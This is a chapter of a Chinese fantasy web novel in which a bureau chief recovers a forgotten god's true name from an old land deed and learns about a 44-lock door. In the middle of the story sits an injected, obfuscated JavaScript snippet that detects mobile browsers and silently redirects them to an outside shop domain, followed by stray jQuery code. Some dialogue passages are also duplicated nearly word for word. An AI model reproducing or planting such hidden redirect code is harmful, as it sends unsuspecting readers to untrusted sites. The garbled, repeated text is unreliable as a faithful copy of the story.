泥塑的右手不见了。
早晨六点半，霉神起来扫地，看见东北角那尊泥塑时，扫把从他手里滑了下去。泥塑的右手腕以下空空荡荡，断口处没有碎渣，像被人用橡皮擦掉的铅笔画，干干净净。他用发抖的手拍了张照发给钟则安，然后蹲在墙角，不敢再靠近。
钟则安二十分钟后到。年站在泥塑前，赵公明蹲在旁边，两人像在研究一具消失了一半的躯壳。
“擦除。”年说，没有废话，“归零者有专人负责‘抹名’。抹到哪，哪就消失。昨晚抹了手，今晚就会抹到胸口。明早，世界上不会有人再记得承财。”
泥塑背后多了一行字，刀刻的，笔画像刻进泥里的骨头：
“名字被抹掉的东西，本来就不该存在。”
落款，陈重。
钟则安转头看向赵公明：“抹名的人，在哪里下手？”
赵公明摇头：“不在这里。他们用归阴灯做锚点，从极远的地方隔空施术。归阴灯埋得越深，抹得越快。要破，只能找到承财的真名。有了真名，抹名术自己会反噬。”
“真名？”霉神插嘴，“他不就叫承财吗？”
“那是封号。”赵公明说，“四百年前的神，都有两个名字。一个给人叫，一个给天地叫。给人叫的，写进档案里，叫什么都行。给天地叫的，藏在契约里，刻在命纹上。抹名术要抹的是后者。归零者现在用的‘承财’两个字，只能伤他形，灭不了他根。所以他们还留着他慢慢磨，等找到真名，一把火烧干净。”
“也就是说，档案里的‘承财’只是一层皮。”钟则安说。
“对。”赵公明看向泥塑，“四百年前，他真正的名字被他自己藏起来了。现在知道那个名字的，恐怕只有他本人。可他已经不会说话了。”
钟则安走到泥塑前。断口处还在以肉眼可见的速度消失。她蹲下来，看着那张模糊的脸。泥壳干裂，五官已经不剩什么了。但她能感觉到，里面还有东西在撑着。
“他知道自己的名字。”钟则安说，“只是说不出来。”
“说不出来，和不知道有什么区别？”霉神急道。
“有区别。”钟则安站起来，“名在契中。他当年和这条街立过契。只要找到那一纸契约，就能把他留在上面的真名逼出来。”
“四百年前的地契，你上哪儿找？”赵公明问。
“市档案馆。”钟则安拿起外套，“他和这条街立过契。这条街上的人世世代代踏着他的财气活，地契就是铁证。四百年前他签过字。那上面，留着他真正的名字。”
市档案馆，旧馆区。
青砖外墙，窄窗，光线从高处斜着落下来，照得满屋灰尘像细雪一样飘。钟则安在检索台前等了四十分钟。管理员从库里出来，手里捧着一个牛皮纸袋：“文澜街明代地契，庚午号，原件。看的时候轻点。”
她道了谢，坐到角落。纸袋打开，里面是一张薄如蝉翼的宣纸，边角已碎，字迹还能辨认。她的手指沿竖排小字往下滑，停在落款处。那里有两个名字，一个是当年的保人，另一个是“承财”。
“司门。”她低声说。还是职务，不是真名。
她把纸翻过来。背面空白处，有一片极淡极淡的水印，像渗进纤维里的旧墨。她凑近看。银纹忽然猛烈地跳了一下。那片水印开始动。一个笔画极细的字，从纸里浮出来，像灯丝一样亮了一下。
“峦.....”
下一秒，整层楼的灯全灭了。窗外的阳光还在，但光线像被什么吞掉了。灰尘悬在半空，全部静止。时间像被打了一拳。
脚步声从背后传来，不紧不慢。
“找到名字了？”陈重的声音。
钟则安把地契折好，塞进外套内侧口袋，转身。陈重站在三步外，灰衣白发，手里提着一盏熄灭的归阴灯。
“你现在走，我不追。”他说。
“你昨晚派人来抹我的人。”钟则安说，“今天跟我说这种话？”
“你保他，没意义。”陈重说，“一个连名字都要靠地契才能找回来的残神，活着和死了有区别吗？”
“有。”钟则安说，“他活着，你们的归阴灯就永远灭不干净。”
陈重脸色一沉。他抬手的瞬间，整层楼的档案架全倒了，纸页像雪崩一样砸下来。钟则安把外套甩开，人已经踩着倒下的铁架冲了出去。陈重侧身让过她一拳，归阴灯横扫。钟则安矮身，手肘猛地撞进他肋下。陈重闷哼，灯脱手，滚进纸堆里。
“你和一个凡人打架，还要用神器。”钟则安说，“不丢人吗？”
“你这个人，和凡人根本不沾边。”陈重咬牙。
钟则安没回。她忽然听见了。档案馆深处有纸张翻动的声音。无数张旧纸在同时抖动，有节奏地响，像整栋楼在呼吸。陈重也听见了。他脸色变了。
“你念了那个字。”
钟则安明白过来。峦。这个名字从她嘴里出去，正在这栋楼里传播。所有和“峦”有关的纸页，都在回应。她往前一步，对着黑暗中重重念出那个字：
“峦。”
一圈看不见的波纹从她口中荡开。所有纸页同时亮起微光，像被惊飞的萤火虫，一片一片地升起来。陈重疯了一样朝她冲来，想抢地契。钟则安侧身，一记肘击砸在他太阳穴上。陈重栽进倒下的书架，纸页将他埋住。
那些纸页一页一页地亮起来。每一张上面都浮着一个字。那字密密麻麻地升空，朝着文澜街的方向飘去。陈重从纸堆里挣扎出来，追到门口，却被一股洪流般的纸页拦住。那些纸页在空中铺成一面墙，一遍又一遍地写着：
峦。峦。峦。
管理局。
泥塑断掉的手腕突然开始生长。青色的光点从门外涌进来，像倒流的雨，全数灌进断口。手腕，手掌，手指，一根一根地长回来。霉神吓得抱住赵公明的胳膊。年靠在墙边，笑了。
泥壳一块块剥落。一个清瘦的男人从里面走出来，青白色长衫，眉目清冷。他低头看着自己新长出的双手，沉默了很久，然后抬起头，看向窗外。
“四百年。”他说，声音很轻，“终于有人叫我的名字了。”
......
钟则安回到管理局时，承财神已经站在门口了。
他换了一身青白色长衫，看起来像个民国时期走出来的教书先生。眉目清冷，嘴角却带着笑。看见钟则安，他弯下腰，行了一个很长很长的礼。
“局长，我叫峦。”他说，“文澜街第四任守街人。承您一声，方得回来。”
霉神在边上小声跟赵公明嘀咕：“我的妈，这也太帅了。这真是那尊泥塑变的？”
赵公明没理他。他看着承财神，神情里有几分复杂：“你记起多少了？”
“全记起来了。”承财神直起身，目光沉静，“包括这门。包括四十四道锁。包括——”
他停下，看向走廊深处。S-0门的方向，传来一声极轻极轻的响。像一个人的手指，在门板上敲了一下。
“包括我的职责。”承财神说，“我是守门人。”
钟则安顺着他的目光看过去。S-0门上，第三个凹槽已经亮透了。那个光点安静而笃定，像一颗等了四百年的星，终于回到了自己的位置。
承财神的锁，在他找回自己名字的那一刻，彻底点亮。
“我还没签任何协议。”承财神说。
“不用签了。”钟则安说，把那张从档案馆带回来的地契递过去，“你签过。四百年前，你用自己的名字，给这条街做了保人。”
承财神接过地契。他看着落款处那个被时光洇得模糊的名字，沉默了很久。最后他笑了，很轻，像是终于想通了一件很多年前就该想通的事。
“那以后，我继续守这条街。”他说，“也替你守这扇门。”
.....
当晚。五个人围坐在大厅。峦端着赵公明翻出来的陈年茶叶泡的茶，慢慢喝了一口。
他讲了一个很长的故事。
“你们看到的这扇门，上面的四十四道锁，每一道都是一个神的名字。初代局长在门上加封的时候，选了四十四个神，把他们的真名刻进锁里。神在，锁在。神被遗忘，锁就一分一分地暗下去。当所有人都不记得那个神了，锁就彻底失效。”
“所以归零者要清神。”年说，“他们等不及人类慢慢遗忘，他们要亲手加速。”
“对。”峦点头，“因为他们知道，四十四道锁，已经快撑不住了。”
他放下茶杯，目光扫过众人。
“我不同。我的真名，没有被刻在门上。”峦说，“初代让我自己决定，是把名字交出去，还是留下来。我选了留下来。所以我的锁，靠的是我自己的命。我活着，门就永远只能裂，不能开。”
“你的凹槽在哪儿？”赵公明问。
“门的正中央。”峦抬起手，在空气里点了一下，“初代把第四十四道锁放在了最中间。外面四十三道围着它转。它不亮，门就永远只是四十三道锁和一道死槽。它亮了，整扇门才会开始真正地转动。”
霉神小声重复：“正中央……那其他四十三道，就是围着它排成一个圈？”
“对。”峦说，“所以这扇门从外面看，像不像一朵没有花蕊的花？”
所有人都朝走廊深处望去。S-0门嵌在阴影中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906469|213025||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，门板上四十四道凹槽首尾相连，排成一个极规整的环形。最中间的凹槽亮着，旁边两个也亮着。确实像一朵只开了三瓣的花。剩下四十一瓣，还暗着。
“四十四道锁里，我这道最危险。”峦说，“但它也最像门自己的影子。归零者四百年都在找这个影子。所以他们才会趁我还没恢复名字之前动手。”
大厅里安静极了。霉神小声说：“那你要是活着，门岂不是永远开不了？那你为什么还怕归零者？他们应该动不了你才对。”
峦笑了一下。那笑容很淡，却让所有人都觉出了一丝寒意。
“因为他们找到了更好的办法。”峦说，“让我自己求死。”
他抬起头，看向门外。文澜街的灯火透过窗户落进来，照在他脸上，明明灭灭。
“我把自己拆了，铺成这条街的财气。四百年，每一笔买卖，每一次生老病死，我都在。这条街的人富了，穷了，哭了，笑了，我都知道。可他们不知道我。”峦说，“我爱这条街。爱到后来，我已经说不清，到底是他们踩着我在活，还是我靠着他们在撑。”
他伸出手。掌心那道青色纹路像脉搏一样跳了一下。窗外，文澜街的灯火同时闪了闪。
“归零者只要杀这条街上的人。一个接一个地杀。每死一个，我就疼一分。他们杀到不知道第几个的时候，我会亲手断掉自己的命。我舍不得这条街。他们知道，我舍不得。”
赵公明的拳头攥紧了。年的眼睛眯了起来。霉神张大了嘴，一个字都说不出来。
“所以这四百年，你其实一直在用自己当人质。”钟则安开口，声音很轻，但每个字都很清楚，“你怕的不是死。你怕的是这条街。”
峦看着她，没有否认。
“直到你的名字被找回来。”钟则安说。
“对。”峦说，“真名找回，我的锁就亮了。我的命重新和门绑在了一起。门上最深处那个凹槽，现在是第三道被点亮的锁。”
他顿了顿。
“杀我，就是帮它开门。归零者反而不会杀我了。”
“但他们会杀这条街的人。”钟则安说，“不是逼你选。是替你选。”
峦的手指在茶杯上停了一瞬。
“你的命铺成了这条街的财气。每死一个街坊，财气就缺一个口。慢慢的，你的神格就撑不住‘峦’这个名字了。你会退回‘承财’。而‘承财’没有真名。锁，会自己暗下去。”钟则安看着他，“归零者根本不需要你点头。他们只要杀人就够了。”
赵公明的拳头攥紧了。年的眼睛眯了起来。霉神张大了嘴，一个字都说不出来。
“所以这四百年，你其实一直在拿自己当人质。”钟则安说，“你怕的不是死。你怕的是这条街。”
峦没有否认。他垂下眼，看着杯中已经凉透的茶。
“直到你的名字被找回来。”钟则安说，“这条街，才第一次不是你的软肋。”
“对。”峦抬起头，目光里有什么东西重新烧起来，“真名找回，我的锁重新和门绑在了一起。现在，他们再杀街坊，伤的是这条街，却伤不了‘峦’这个名字了。我的锁，稳了。”
他忽然站起来，走到窗边。文澜街的灯火在夜色里很安静。每一盏灯都像一颗很小的心脏，在跳。
“我守了这条街四百年。四百年里，这条街换过三次名字，烧过两次，每一次都有人死，有人走。我就在这。我送走过每一个离开的人，也迎接过每一个出生的人。他们不认识我。但我知道他们所有的事。”
他的声音压得越来越低，低得像从喉咙最深处刮出来的风。
“四百年，没有人叫过我的名字。”
他转过身，看着钟则安。
“直到今天。”
钟则安看着他。他的眼里有光，很薄很薄的一层，像冬天早晨结在窗上的那层霜。再暖一点，就会化成水。
“所以，不用怕。”她说，“你不再是那个没人叫名字的神了。”
峦看着她，慢慢笑了。
“我知道。”
S-0门深处，忽然又响了一声。像有东西贴在门板上，很轻很轻地，呼了一口气。
所有人都看向走廊。只有峦没有回头。他依然看着钟则安，像在完成一个迟到了四百年的仪式。
“它在听。”峦说，“它一直在听。它就在门后近一步。”
“它叫什么？”霉神的声音抖得不成样子。
峦终于转头，看向那扇门。他站得很直，青白长衫在昏黄的灯光里像一件旧日的殓衣。
峦望着她，声音很轻，像从地底最深的地方传上来：
“归墟。”